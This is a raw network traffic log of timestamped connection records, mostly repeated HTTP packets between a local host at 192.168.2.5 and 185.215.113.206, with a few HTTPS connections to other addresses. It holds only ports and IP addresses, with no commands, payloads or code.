Oct 27, 2024 17:54:12.615340948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615938902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615992069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616054058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616090059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616106033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616125107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616136074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616159916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616175890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616194963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616219044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616228104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616240978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616278887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616594076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616641998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616646051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616687059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616694927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616739035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616746902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616780996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616794109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616816044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616822958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616848946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616862059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616883993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616889954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616918087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.616929054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.616962910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.617527962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617573977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.617580891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617600918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617615938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617626905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.617641926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617646933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.617656946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617664099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.617671967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617686987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617701054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.617703915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.617722988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.617758036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618396044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618438005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618463039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618479013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618508101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618522882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618549109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618592024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618691921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618741035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618746996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618762970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618788958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618808031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618860960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618875980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618891001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618905067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618908882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618925095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618927956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618940115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618949890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.618956089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.618983984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.619025946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635040998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635096073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635139942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635149002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635162115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635184050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635199070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635220051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635227919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635255098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635260105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635288000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635329008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635339975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635355949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635391951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635404110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635426998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635437012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635468960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635493040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635544062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635545969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635581970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635591030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635612011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635624886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635644913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635656118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635679960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635689974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635715961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.635725021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.635761976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674585104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674664974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674683094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674719095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674736977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674753904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674762011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674809933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674818039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674858093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674863100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674895048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674909115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674930096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674937963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674962997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.674973965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.674998045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.675005913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.675030947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.675050020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.675067902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.675077915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.675097942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.675113916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.675141096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703381062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703438044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703459978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703474045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703488111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703520060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703524113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703558922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703573942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703592062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703624964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703629017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703659058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703660011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703680038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703692913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703706026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703727007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703737020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703761101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.703773022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.703808069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709413052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709469080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709475040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709501982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709511995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709561110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709572077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709616899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709630013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709675074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709681034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709713936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709728003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709747076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709754944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709780931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709791899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709815979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709825039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709847927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709861994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709882021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709891081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709914923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709924936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709949017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709959984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.709984064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.709995985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.710027933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.729672909 CET	49675	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:12.732278109 CET	49674	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:12.750644922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750706911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.750713110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750750065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750761986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.750783920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750794888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.750819921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750828028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.750855923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750869036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.750897884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750907898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.750940084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.750947952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750982046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.750997066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751014948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751027107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751048088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751060009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751082897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751094103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751117945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751128912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751147985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751167059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751182079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751194000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751215935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751220942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751300097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751332045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751353025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751357079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751394987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.751404047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.751441956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790157080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790193081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790234089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790246010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790265083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790280104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790296078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790313959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790324926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790347099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790366888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790380955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790395021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790414095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790421963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790447950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790458918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790481091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790491104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790515900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790528059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790549040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790553093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790584087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.790591955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.790628910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.818800926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.818864107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.818881989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.818929911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.818937063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.818983078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.818989038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819025040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819035053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819060087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819066048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819097042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819103956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819130898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819142103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819166899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819175959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819199085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819211960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819233894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819238901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819267035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819278002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819302082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819309950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819348097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.819358110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.819400072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.824636936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.824690104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.824691057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.824738026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.824780941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.824829102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.824836016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.824879885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.824888945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.824923038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.824938059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.824955940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.824965000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.824999094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825006962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825042009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825054884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825079918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825088024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825114965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825124025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825148106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825158119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825181007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825191975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825213909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825223923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825248003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.825257063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.825289011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.866080999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.866137981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.866164923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.866174936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.866192102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.866209984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.866218090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.866246939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.866264105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.866290092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.885888100 CET	49673	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:14.656222105 CET	443	49703	23.1.237.91	192.168.2.5
Oct 27, 2024 17:54:14.656379938 CET	49703	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:14.927866936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:14.927937031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:15.723484993 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:15.723524094 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:15.723579884 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:15.724069118 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:15.724078894 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:16.218020916 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.218072891 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.218194008 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.218430996 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.218447924 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.660046101 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.660178900 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.660834074 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.661086082 CET	49712	443	192.168.2.5	216.58.206.68
